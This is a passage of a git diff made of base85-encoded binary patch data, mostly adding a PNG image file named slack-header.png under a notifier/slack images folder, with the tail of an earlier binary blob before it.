z*;VOrvElN{i}7>5eEE_lRWc(ZD+`lbRpmdDqf5Y~laQW{1nunXK;(W&X%Yc@WT?DZ
z5=ANuxRFs&DA1oje_VLJ{!YM#96dZ<Lhy-83sZn(ona@lFq0<3b98Zg34ulJC*TKt
zi7`{s-1zP{AY@f$#X)Gd8FYIlSX&V#tDsQzEs>6sb8LKG;`TBQ)zCmWucU%;!~+&K
zxc1CBQ0b=ryOOMKfh?`4$nKhCo)RkR1tF1F(BDd_mI+H1G__Pi^yK0rX>||UaCg*D
z(MgeRf`y`>hp7^etVExC1z+Fx%F4>l&g_n?H4u))@>#!+I7M6c&ys(gMMi=ZH8(f=
z^^OM~UV(#+4erzIZ2kQ;nTi$1UeON`SOmFDUb8<^WUwEC^Yee(1=zjjar_h-8X8;x
z8zaHzekdkxR+OAvR9P7l5pnuU1eTqR9SsfbYt~mSrulzHJregZY}_Zz@lx)GHzl>@
z<@NQZX(c70Ew{gZ!ot!;FU-wUZaX$Uv^2Dq>qu)4t&flQtl0r#JundGm8&<X6jLSx
zM@L8CcmU#7!x=KaVYocKnqHV0nPBl;Hcf(AdNrk(ZCX@ZG?cP1Ki>};H0+4u)fi?5
z2D`hldOb=izeY7u91|13W-i%|DEQr<dA0*2E*Oh0BO`Nr`!XYg5N99`rIWCG(=kL8
ztgpSO?HqhOJkU19f2|@7X?-smF{EZvv3Ib?$-&{+!lLk+&oy7(NGZvufsqUbF^D_~
zHLx5mKbGHY(9ZT@d*K-kbiT$n?_6A5%*<%eOWraI9LYF_UtG9cA9p0uD%O9mmy!eL
zRv<mPwk4j~8c@{GRF5O$o*x`6?d+uZ-5+BjsR#+HT`+TNYHt0M=<B1g7|%)^KXE#K
z=v(jb0cm??&(*}l#0n{1S$TMPxT>nEkA?;?l3%V|g*;z9&rEcUXA8)B&rASjHy9zf
zFqH{|gjYpJh0EUdQ+m1;AT=5$C%5PnxbJzatgM<$j6b82K5QbmkoETs+3#XS_3Gb1
z`R(fc5)y$pbfx9r)8uwaMg-AO;systFRqF3@UgH6avc9Gp8i1E3PUBN#zhvb3dO_a
ze+eOnvKc)r{*h#GyS(IW<>equwqy&*f41z}-_K~PVL_wYoNbEh>=e=R^sFoJX>O}a
zO3t@mJ5Gp;P$HlV#Es|`&HLWop1(v+<xD0l$79OW#9y9~Fz2C$SK&@-&^@+oW=9$7
zOh)XUuDLj#?_GY(8ZC}sE-GA_NiIAe_%FfZZvONdA!j0hz31FjhEI_gb6<ql^>sFG
zJmpJx`}pvEDV5FJKbWGsl?O^<GH}@T27D8(QYxa(bt2yusT&a~F5d1gju9I>JyKyd
zIp888DeC1Qn<9j1OCaVol?Gq8N$<0ZeKp-X3b6zIXS1NZ-gT*oqzL$DMZp?pp_G#2
zC-PFY7=O5_yR|pe4EXAOh}op@wNx{|C_*N67a~e%d)*#_{JLu^Ol^>)WJ2<%8G}l~
zgjetQ?ZCN@4_4)cC}Y3BlhVr+UN|rK&V&?%Ec~TVX*!LOiI>J|^eBUu5*%mx<+ZrX
zzUs{-1DraVWx4RAlo3sMOZ7S$Maa6BzWV_WLzRsK8Mi2+8xBd76ta>wE^p@WRql6h
z9442b?!rk<vkGa}INT&zI5XpMD(Mf!A%>{f1_Q_U+E076FtB$4r+o`}$zwT&99&$>
zwO(5dlkfI;tPm+?w{fGTf+Un13d%3@z?1%(mcH^tK`9y0Of|BWA?8RS!5E2Kw|fk0
zfgg9FB<OeCQt5ZCI`i=xpZi$zk-wwaeIMWHti7ZNX$^USB|W*w5iFds0|oWdhF`gd
z;=m=B8_TQL6kDO<I{k)I3>IFUSJG$R-X=gL;=1^~Jt9wcTUXcM<l!<lG5}M9C0ea~
zPnnRbqBSoUHIbPu&ls6oG1DM9IjirbO++2zbtH5$J~qa{<a_tCy`|#0Nu$y6c=i2)
zXis!ZGz1`Q!1EF*o*U!tF6*8S5G|MkY#+`J@TOsA3em|{0hQD__2dtbFB!jY^TEb5
zK1;^NL;+bz<CW56d>WreQKpxVk9-z(>CgGWu@NE9T}N+kc<6$SUBA{cuO(F6%*@PD
zYH+S%0s7c~VI?SNAS2gbFkA0;j{(>t5Ow2O>?=KM>eMM>;^JhyzGA%Jr@tFztI{d5
zy_+nV%J$o2?7ZI`O8lk~7mDfaQD49+rDU~iAQx55n;6G}Tu_(%O=H?sf`LQGSZR_~
z62WJw*WmHqEA9H&@9si-Pd9<Or<=;xx5EtP&%wbX&$-i#FB}v^POFHt+GsZ*Nfuyj
zZQW|L<^bq=p|q}l`wf#5DFKvOB96248`|u}4l7R+`F*k<szR&oPJKY?gl?`@8~~vs
zc;~s4qx($TM-8E#6Z3jsl%f%F`PDv*AYlA{g~|&t-QQ3V#x#15owPlzZ3!(;3=E(^
z-j{6mu1nL;S4Wxeeb#dVp3orO=k@HYEUFVN#5|9I3aW(u<AHY>B6&@$h%Ls58OS}B
zZ<3GZpY$VTWkh?rh0^%K$Pqzqu^9grmCCZ<Y_OU{O6sJqE-ucyMxHD~!ZmuX<0&@c
z92EQkd;_2~KuD`<YNDW{V<CtB)clYpSDak*5&{j*-k-ghvN9_)J$qAAHS?XVpRfp^
z_E!`nrsf!GYUX4m;$Q>O+1uM2)Uex^itmXPJbT@&h#eMh2FP?91-%mRh<r|r^xA>k
z0e!Tx(pJ&QNK0eFjsRJ#yt<l&kug<@x{|cQ#gJLFG^*pbSmsB<X?Y<_UIg1z@=_-A
z>Nu}<N~G!z0vyF`-a40o4XV!=1yh!`ZdZLMsToz3RaIV&&w16=ilbR=q@>3jZ)j+D
z6o`sWz4+fYDc|YP<3{!w<Eg9T;o*_kWeo)eZVkXoX|g6KO|!E}CA53q4o}D7W03Oi
z0_}KkkUm}t7thb8exo$N-L{Pc2M4G-ydowuSX~tr6)`cWFyseAIQn*W2nhF}<Ojmu
ztCr3N1-<YZu>RW=i0RF~94!^e*5hfO`qi*WOey)5xvZ!5!LnD*`>>w(0Z+e^7!ph2
zwntlBR{Q(Si9$j`pU!69=nLqRIaFuHPuYzsl4FF50*X}snU<C-2lpNQ?rx=SQ<#tU
zcqY3~VfFR3&^G{N?@e$22E(KOBV>J;5aOy@Y2Mom=F!*J4|rCNy}Gh({G8FcoH!5%
z2&*pgKRSz%)m_xm^vsO9P4*u^^Xgig@qY)1TfV${Ls2<zXTJ$!Ci*SDA_S3||K|lz
znY){JTH!O9?Hkd2g$kdnkbITGk(idIr>BC=W7J*|<zlJDXt7kSrm1PDqBGs(kfX5x
z&>jgtalQGGLn9ZLj!p*j<L|kHgv4X5x4f^faR3Ge9$qqYCbyJWg3!~0&t9#f!+Lbm
zacN}{r~6@=Lx5Jx$EgG|f4$^0`pe`2QN#|aKaG@Rg(wL3t=JsN3m&#X<znhJ<AYsu
z<3}%jpYAS+M4nJJjEt~c{*De0`Z5U|9en~A;H~bJvbL3#u}W=hqr0&1k5Ci>ARSmt
zWMGl{cNEso4wX58G~?zr_JtxiIXTIGp!fUSQa`Q4HQ6cv)avT$XmQO3K*%mBv9Pev
zHPl3ah|&M<&2$HN*gO0=6%$qV^13Z!w=gj|Y4H9QJvu;A@m_S-?F&)7WECeWiOoeT
zhNALu!$JFtCTVlCzx6d&cQKjgJLBjmHiFj%_u^}<FX2YhSnW>pL+9q^;^U_jYik+c
zegX`1nVJK92hO!F{)SEQ)I*@l2CcYmt)~%ln9I3@sn(5K0(Efp=Wq9Z^6GAG3ikHB
zmqd>O{7|l;5C&;Zm+O*q0=4$AOu?gsU(G|}(luGV_c!zfVu}mi!7Lao$TzHQ;`!eP
zA3nw<rV0In^~aE|#*_BzcSm!Xjd4*?=iG*VH6Kq^eztL_&+i**taXujyywxnn;#xN
zYvQc1n0Qp8?l$7U@?L0|)5jsbeaC;cNmL>8_vOvKq=a~vD&T?A(-qr0Bnyj+@bK|o
z?;ZfTl#Yq%#W_}<ecoR=Y@6Kblf%{POuUV*qeu>q-?LWOgLsUcv$K;-j4WMV>}TD5
zBMxmUh<WZ-2Vz8^Cc9*%rNK~yc=JX}g<vM2{Kp*q=?)h|q-c3Zi6tua_W$|MRUUUR
zVs>9gUQ%4Zt81up>Ygb`nvU!P0FW6%w~R<ZO&~!niZ~RC6@e-0Y$Qe*@<s1e{Qu8?
zUf>gerG#vko5zQz&vt8YN)&Re8p{KO;!ZjrC7AFPGg;ft!yqVunuu_}uGaajUOREl
zm&qq=)Qii2XS=b2*;%1R+ao!7rG@2IGu3K?4pRqi`(@|9$7|**&225?U*GqP&K9<}
z|DG;lq{z#2XpG&}zpj!jRQuJ71S&TVajY#;sAxL71%9X~R#cz9bGXm-$->+M(f%GE
zAK&};m--#%cE-lF?J<BA^}qF+o3C79BNKv$sHi^3%f|rFudjkLO9S#KSg(yF&uW_L
zu%EOj6=daY8e>#9I)!|nkNQSZua8$8%#1*i;}4S2>+n9Zn<eNdXq6NL`AR;E&FZ8R
zww8wKvrk4wn(HP7xM-HKw!N9+(KJE3U!P#?#0m=v3i1MBf<;n0W1<wbn*2?aoty~f
z5!@0wI|U&z35kZ&xZSTy>?X#?q`a<h(Dd}Q702>nIy>MM0ZYfNseEC70FT9hi3pUU
z#|H`hcGsfzc4EkqWBI~r#@fc3=kgN%?rwVQvllwrEB02+Y6G`RH!Lh}#jpHDRaKow
z)j~)wI&aQ0hs!}iUK4s=R8v;I9g92>ql|CwNlr?EfkH)LAZF&u*E7YfEr4tPURziD
zpBT;3_3L~)2c4836PkZGSt#aPZ*lS1+F=G6TJLl$6#?TVXl|^`&2@Bi+;<(74m<9l
z+=>GBfTu9O`^Ad#a%qpUZAZbcUAu0+R)b(Bn+pqLd`&AVfX0!<<0aEb&BklJ-o6B+
zqlgG;hr-xWqFwkkPPI3j^t*^z5<o34ca6x|kP;ABOSBk|44Ft!(AW1n&A)w-w>v!d
zB_W{}4D-#MCusDJ*8+sq)h~N6{=)o72t`Rp?Y}zW(;1Vrv$HcXDS&yrAN$IsP8q)%
z9sL3d=u&>X^XcvD3k#J@)71j*g(eQdBONWR{~+5}LBFesuExjPg~lEc$qamP%-%4v
zQD$a_4$s@#l$0HU92Sd;3fLc-hJKs-tJl2|?DrU?*vO$VG3|*Z3SHw4#~tQCjjbqX
zv$!7bLAb8cKd&eV_NzmSj*fwHe_7?(N~^28!KT_+uO?g2m9`zgS4u&iNg4PA1VY9)
z-+`kD07Ch6TrCX^QbNMxgCpj(Pd%HXk00|c8jz##TyKPdqWJw^IH>0ndBI`mul1A-
zHa9oj_b<}vw3jMLf3M&fN*nU~=``Cv7T4FiLOg&=k2e`GTZtwj`e<&Qk)5rqrt<sG
zEH^6y!?yApC@no>JnLK~bt;)r^LeF-40^>OA^fSUp}|eXxwbOqvQn2dH8>b1H?E+d
zBg@XwQEI_oS&H^*{c*p%{GlXN4t{NA<RCRiv-0NZzWw3F61<EY4fN~WQ~nzJ-^*d9
zZEk(d3-kk0EF?%oGOn$)bu>fp$Y~x24K3zq#e>TR^@@$1gb4GagF{IkU}5%c-S*D(
z+pcWyZAN+{wxS{<6|=3^ncuqH3@X#my6h(n0ScIcRk`(xL_rMk9=qi)VbIKTa?Ta^
zHO8zACU=%@J3>IGS0~2=I)je3?*9I+QYo&>`MTHbZKOX^=_B%gkL;Jm!v$(6C@u~T
z)sG11LtMX3Z=oM*DnYbspHOLo7Y1QNvJc?tmQ~)rf8S(sd_gwp@NnY<IJfoiXzSMb
z{$=l({>%CK6gtJ6TenL>h&;O*M6L0=bl{=W)s+PggIk87xL8s?ECK=tBYQyx#~{~D
zZo_~Y&&{C2!>?nyPwoC&v=Al>vc}@wWu~jEtNU}C%fk2(F}lTHp=bAI`ohxbS`~S;
zv0~ZC$Vli%@1j(rn5ycB(7reHzIVlpVe3X~w3INv7He>@BSI>x`~l?;M03}<f1BB^
zyng><So6<O3?Aqd3Z_z+b%(c|o9s4*Oxc8V+P@!t03@q0J+4AJ|Ipy1lD<BmSe}4n
zM8@Mu&&gRCxbn}K57^Jhaic~=f)VD_Gy|?~HBksyfPj1w8TlRI0nLaleO_aJEaRx5
zp#ktMXk^C>x@@B}b%7)Dc1{kM-Z^e1;Y@GduD4zPXh9*+S%>rh{(yqvF`V7q@BI4~
zYPS>V<PXiv30?mzjt!QA7y^k0orJgf=)>18$9RR3fO=D-53s2NTj?3EKrWAY&Az-b
zq1dP`E>80whxh#Pn3#s9$bEj}=emKas>|vkWJp#$<?pXCuW_`B#Ske`@Yr}2P-m{t
z)YRnR;iBJghS2%RgXZQ9w5X-~d_RHi<HPsA*Z@XL^YO3tW_Fz3v!&_m#aTQ~D&&~$
zNBadHQcW%R3^XU3VPC%3TwOJq4BYsjlQ?tU5XKG6%+Is2vS#ypsq7cbPJVZU7Q3Ev
zgM%M~FodF`WdCs4VRs&0ES*2zUwb$^6SA59iw$u1<8fHW*r=3}mtVP^=o%5yr(L6E
z;$Q9STbk=@nH_w$V{cn0`*gP26|gZr-@oDmmn@U~_C2xdpTiauWIxza0Wr!c0Qvw=
zrtnHgf&AA-+w;FTW?e6SQs`Y8sye6oo<JoMQUno~efE13Z%`tWlkviWVm~4fT7Ulj
z-QJ%a&YR?0W#z)-RoC;=3K=$`OrFx{sNC~nJ%u2J(UHT!hWi}A4sLZCrq|*{DnL2Q
z6@e8qj@M#xKim?|Qv#HI*O50x$Z}BSAh*TMKO+;^hnVPSsffZ~R-2(wsmJRvek;kM
zhz&3Q2Wj>d1OP0#`27ElMHbqgT;=&JgaPJW`To>YTN`QU|Cl361FPV>SfH(~Tluir
z_Wk?6f&qp4R+#Zm;mh*^I`RK;Q59VrDV4VHVtc@<We4jAOJu{yn^mPWbbY+h<$rGO
zZxC2lH=|hL@92KK(%%pCBR-D@I}<x*zbG8C&Mp4cwS|YfIuKs%Xoc+Lv@~@8A$lpP
z-G|%rhsVc1cG2sKC*F)I`^oI&JAeLE8JrW9q!jF~y78PEDQ<6Z{w^qzeOhUA7`1FE
z3u7nG*W8E4TFQQnx#xPvB2+m#!gBL_q#9sh^y3X8UrsSi$$`GUmb|=89m|_j9J&=j
zWN>>uNh!&dhFz?01&yM+0xF1pp@x?VwEm26_c0f?wTgbW<jV9r{cR=~Cj^Xn7#<56
z+&vK(KIKW0WlpDd`r7@kF_nE>gEgq@P2hV|oSmJ!o}KWd6BKLfI(1Lwa|Hd!_@f<K
zUMu+CtatzKqjBLO?xUX;<*4E$6R4rtd1pwNH^4}i=XBEt#X?x@XbMfCzGyicrl!a7
zch5Ece}i4HQvZMQ3@pM0D1FcOCjn#T!iR;x$Z>JBVgU@SP4<1W+_M<F8_z$3n}Kx@
z=2KYMO4JcA>*;1j!vSIQDo~T&e&gClT|y17l}+J+rL-;s2hAIMjmc-o_TMOA!u>QZ
z`>yo{7g?laN}CA}J`o9gN=3=TT0H0hd<uh3@X*NB)y@66?!(>kY_I9>-c!JK0uN~{
zJ2_?OuU^z@0tMf2rKb5Yo%l8M|GoWOIk<pMCn#2W|9`-Bt7;q<Xugd8zoFur=qtXl
zsh>~XEi+=7RBGm?rtr}iN$54PnERmp^!1q9y9mC&Zp?@SrpyZeC(ifp&8}840Ka~9
zxV+>ZO&P)qPj$A|a8%6<nC03gYH69wNT5)YF=;)lMOHV|*W23JK|f|(!V6#pZQ_&`
zdcu7rt!%8k&`Bu$08ReZpcNE~9U^WjMn=XsVgZRFC2gkpneOf!jVBP200Q=3c6F^G
z1D)7Nth2z@_FKAK@x^6KW_;JvNz-=D+jG!KgZu$ZH}&=PzzHDqSgYfXG(A5rq2HlD
z!$BFcj6roqVrFek+15^vA7x`>BXs}3m_U7WXiG%c3}~SyhYcj&<{VM4Q|{8A=3Pa@
zl(QyAaaVjY^CA2`$3cOCPlZ2_EGG2BqoP2!h45)Y=)QOINAA*F4&Em_%Gtj4OS19_
zp~u47a^BtDDf5vMxeQA)s|Np>ohw{p3k$yPnVH2!DW-T+3kyS}P7Q7KTf#Rh$!{2Q
z<mmvn;=dsno5S*a@w<pojgXm&9cU*#!iHVjZvi0#+5yB%-?d+2Z4P7zs;Y^_vY?Ev
z>glhv+~)?u?u=z8XJxjXZwLVM!?*JCY<{bte7Cgsey!<cW%)jSUB8LMJ>rLkhq0sj
zpzmj44hIJZ*N1D@Th|-Be3xV6;|&cpR$ftYO7!2Vs`mbEVv1IJFX+ZYU$PSUybDjV
z{SZuLCGI>m)il_4qcx8!ii-)~^*^tMMqQKfC%qkFq2CoIxwv%2T@%;V)>c<9f*nX0
z9vZ8tuC}OK0(zjVkPg#P%I2wOi<cM5PQawCNdmRU$x;-KFxBjKX~uG^LmRr?>&32s
zi=$T<9!=fdqE?JU!iEldKhhXAt8}!r*CQj+0YFYJGV_)wcD?UIAy7ihFKyPkYs?92
ztI3-hnz7JH`39`|PTe=sI0JwN3a_lnPE4et7(&|W*U?J5_x5_JKzy?M3*1r9wsY!R
z15;aDTL%kn)5+XFNw|PtGn?*>!088G{Heu7Efp1OW7~^MO+#urA!}RP*^hNyw|66F
zXSMI^%*)Hlyqa4s_qJ|+8GX$s(__LfDJ)j_`YxM19Awu^A}$~}-2C|21GLYu6V1Wm
zKPlx^Ww(dt)o`MD-5V^TrSf1Fb;)t{y0G3`|B>2Ti5C<E!w3xhDV;G9EeAXM`Mstu
zK4n*B=LL$0swCJN>XT$m*Vbx~jb{?`#EX>Jt=GD(#AX415S8SeRB9U!-^(z)d#}rk
z-w6q<1(Gm7ssx@-Zy$OjW2-jmTT*(`dA+cu6S}H5n(w<hsQi3ELz;t+zZMgN_Vpbp
zM62-1<L~%d{l#dm2^}c9ck-DYN9!{+82<NHS%A!fz9fCcCdN*<y^(evE)e2!$er1f
z=f;T;tMI=oB4rVyydZQ94u|`+=ySbj>jo@cA3l7rv8f0r;x?@~LqV329a&w~gZcRD
z)6+GXAZ~;h%N6yfPa4^yCTy>PAO#l|a(46Z8Q%UTCi8Jsps+$kbq0K^*Vsu$CNe%x
zxsC*M2qYwj)uEqdsj-2eM8P`s^Cv0P-Cb>CU0b4<1=g!Sa1>Ms-b|b2tVc%^vidHj
zj1i5DFgDsR&3>Z-_QlFuyS0YNe^tDcqNQc_j?CDQnDOZ)5x2zM4e%yzM099sYF3x!
zG3XMxTvsiGZvvlg3lE>&N=w~dEZ%l<>=ink2#1YS?HnhR+t{da*H~PvAs#x{?naA0
zW66>=@#0fPd4?EeI+t7I1#{w%oV@%?C|=6-<f(`C$v^cif-H4H)$Jlg8E?7yy9g}*
z@1|3tz-_I~f+n3{Tyt}}MJM#_f#LnOvL*>S#jM<QIOvi7z4HfBVNqz`Ufti!N+6iM
zX7|1bae@H>H0JH5N-99Ob@KOk=jzwyhb2+M<l)WP7f|L{RT=0i(9qmJz-lhW+IVp`
zaKecY^Ah)NooBwas7VU*LT@2-w(AWyazZ-Qvo{G7vXTY)Vzucxx45|fOfd!Awi6K%
zP#OjNf8)j;2TvZ%+fk}e#(x#`Q3x%XUR>n&>oq>@xWD%EYrj5R*|1fYx3ja<x+#p<
z0zN!I#EMbY1ZP#YWv-CvKFcUbpAzl4Ts?>r#_R|fd(NQRMX+G*?(Lo4wAa?2^%f?v
zJ{7Pa7~)0s0ar;;kr`fc^45!fYMPSO=t!=2?_TklkAk>{^My&4nVXuTMa&24*!hMq
zApM@_e+Mrjb||mqO7b!CwdLnyLm+vNjEoeGEZMqm2>RLg^-681l;WzIBr^Wg)J^%4
znQEx5essLUYn)b65ml$fB<S<x3;OGwEjqC21*bpuXk%jwNDctqB1tbVEknW*=CqKd
zmDQz_Yj`VgR{+|iYl9vI<s58}C@U*-cjv<Ck2@z6l#`A~&(1cowr2C3%*`#3>@#*U
z@PE3gfdMjcsJQrNczBqn0&r2zGLiXYUnL5L_>44FR8*9eH@jA&#SuHuLqgpYUy0dV
zjlO>0(!%O-+<6q~8spYg+2Zm1)N)RstABqKS$$2$vq;0N8ltq)Iu_wh#KFnQ#56kb
zRp7djaoVgoW_5+tBPHPMG`?VfPJx&OOIA<sD+)65-Gx(hhsVZ%kC=!^VABF(yj1<)
zE<a$-*3eY#a^|FFcn`q%_U|IV*xeys5(^aKEdg+{DYSg@vnR~l+<aam1#ktUOXrzf
z51r;myqcN>e0(d>(W9lMmh#MF;wU>pzOPbKvVYqBS=Q1O7#e;{@3}l)@X-MSeJ<7j
ziR$bzsD>V+pT=5Uk!MQcC~$L;YwtQ(BqHNy_~Gq4;uVZwY|db;rNjn4;vuf}OSmzd
z6Fj7FkqFawls@0M&f|S=o3g8J!>DsYH%0<DHo~b{X|N<rC#Z$UhOTH#6lKOWjAMPD
z5Ke!`&2#l6`JNbwT?sp%#ru-Rv9Q>lv>pHTYK$LS=hok#X4J)yksG=umM~SE>GY+}
zWU}u_ds{WXGRaSv=}Y?pLag26Q)&G~&Pt=K`YQe;FjeJz$;zG4Y00;GLA!{%SX#D*
z!KwnwU|1$7sq%-g*u)fYfvi-)?u%A(QA$JfZwCEl-1a_4%lW_xGyeVK{8l5M6hk*&
zfD{RuUhS>xYm5huPaBa&=hm2Y#WfRS_*ub9!?0ey0X)iQzTT5lzYwgYx}l?35xbw@
z;NU(!-UP3UnAQnR`JhtO4p<&BW!i4zStqV~_PQKh<AB?^8g3&~cA@@wK*Sk}wWQh+
zs#V|A1a^sRJMv&*VR7hOcWJ*U!2a(@@|j=ko^#{KgajEF%JT9k7#Q|OSh@<8cyA2*
znl}71v$H|kc<=OEEM981MpUQOb#J=W?O?e}Km-#&St`j`VovL%`~gZBqJ&+VSMdU3
zVJC;I?CgAQ`?Eli9~&LTXE6Y{Zp^p_ILPL!^cmNF%mUB+kU@vHxTGYDcI}`37^1$u
zK12W8B0$IM>FHTn?KL}XLFBBgPFIIZGbM`ErKOWoQ_8BUV9^5e>)_y^R<mQ?q2tul
z)cM~D3?wA5(Mr(g>RWxy(*EXhX<d7FiF{^Cdb&2?)|8c5P5M#o?2fp&j-htHeSz7>
ziO-nA7CQVXDgQ0s-KhdlLcpV@rUr7n+@Axx6DoBYkfHYWb`@3C^RqMPSE`}^>G}E0
z)D#j11_lZW5xe<lzIYUu?V{t}G>wJDUz34Y0lz!fzDPXC5l|yQf<i$-@$tF;{{8#m
z;UN*Xy;R)I{YjVNR~}X&At43^26FOW-JvLF=yVg=0zNwU_CVjj#r<<~LPkRJxDoK|
z)UpZ=IkeK;V@R;B{?z$X!xTfj(UW4J!{-{b+0J{@Mc^t~U!m@G|N8Y2ToYF&8f0K#
zpjj=Lnfq|k^{gN*9T6K_tWsvPPzBr`;QjGhn@1fRfY`+fS*_le*63k4L_|Jdc*Ude
zhvx0qS~<D68o{<d0RjDGog|NDjUh(Rj2AUFa#2!>l4I(%IMcj)_b-`q@1ZHon?HJx
zG{W{&;&{RvRP!$X$11&+TKA*n)z#JN&O2ma@tFZLB@z7!hQ&g|&rbjXTZooy!1_6B
zkpLru9146x41V`FrzU_LTGH8zmA_8@-zoW7S-~vN^z;OiBRV*o0F<sdU&zU<Sj<Yh
zVFP*<9^&x~P8)#C@R_u}gCQ77q=OZ9bo^djT@BJ{Y^;K-YrW{pM$|D)1+1y3o*_nl
zM#h5yvH(;JjET|F`o>0sR#&S5>mVf%#R8eePMFx(2}w!7rvwK9qWJRk^z`g3A-naB
znu3A?x^#kuhQ@Rg$p0WX?0r(N$f{zxVPRn(A0I(W)6vmUS6j=gk@)wWG!`U5ox$t2
z52nt}!lDF(i^VuGnEy;}hZjFC4;IG8#=s8Al`AWU3SgBV&k^c!-j>0S+CDxeef6pt
zIQ|<wtnM9|@MZ5?_V=y5LNn9Tho-;xaEg?cHG0>B77)RQ5Abt<rRUb5m{q97k=R37
zI$^_(C>%nGXm{@J>5+_n<+R!T5(g*o+qZ9EN~QUHTmI8=3v+Td5XgKd1NWJA>Ma+l
z^lxu(!SWnQW$AJ|&{$b%@@t+Dyg#g)5KQdk;^t1(yaBQO-@@LVq(BdIxx3hl6TAbv
zni$j)-`81SgZ%(`m~bMPA%~&3{6a3NSzTK<&H|w1%DcO}TkF85u1q>J8<|?K@7pt_
z441~Q16u06msbO4Lv>3+sj5L|=R7}u(eucN|F_+Va{@!(&6AUpzke6Z@cgpEKsy6=
z4^C6$lMoZzZ*)E`S>%ui`Zhn(e4$<%>CS*&WQ0)EzfvSHsR=W(`99`z3G4tEXl?6k
zG~11oB!_mgGBP;Wi3Tp0N~u)g=4-XRQQFEY5fTO9mMisI&c^<jq!Qcrd`4SdUaqs4
zz>g3EItbV{hlW<kfou?J>ApZkagTPX1TGedQ+oW@pWTlh&p&(2ZMF@f>c4*<v^u}i
zzc@~O^klrFIzBq;0PDR-HnqR6&&{vFU}AH=Qg^_-4zLV58XCX^RO9k@9GvBi&fqx<
zGEwA7)@nPy%ejU^8Msz}h5kLXwvi*|H~46WqkD{iz0Ba@UaR47<M{IB%L2)`<Agi@
z1sR3k+U|<#x~ePIB`8;x*J5H(1X9X3B$UvPa9<&guFlVYy3^68MnE~Feo<ZK)<3e~
zc*^Ko4YImxuWUfB=1(;-mY+W-y~B3|xL8`P4Zi&xNL<+}Y9r5FgF<4?t}#HNxSU>#
zhZA;?)m_RJV(EYKvck<J<?ffa5tyEAH(KMsHjEUuRixZqjJRrHr)z5`Ej_@JUltWh
zB=dZMXj%IS3i3StTbIgGy_?;Y(V6gQU3;@cXPcfZ{~WjO@r*Dxn^!5uWy%V+q(jo;
L3Sw2FAA|lcYz=Ea

literal 0
HcmV?d00001

diff --git a/_images/notifier/slack/slack-header.png b/_images/notifier/slack/slack-header.png
new file mode 100644
index 0000000000000000000000000000000000000000..a7caf915d8ffd7c2837eb7f1762a5b91312cdff3
GIT binary patch
literal 10140
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
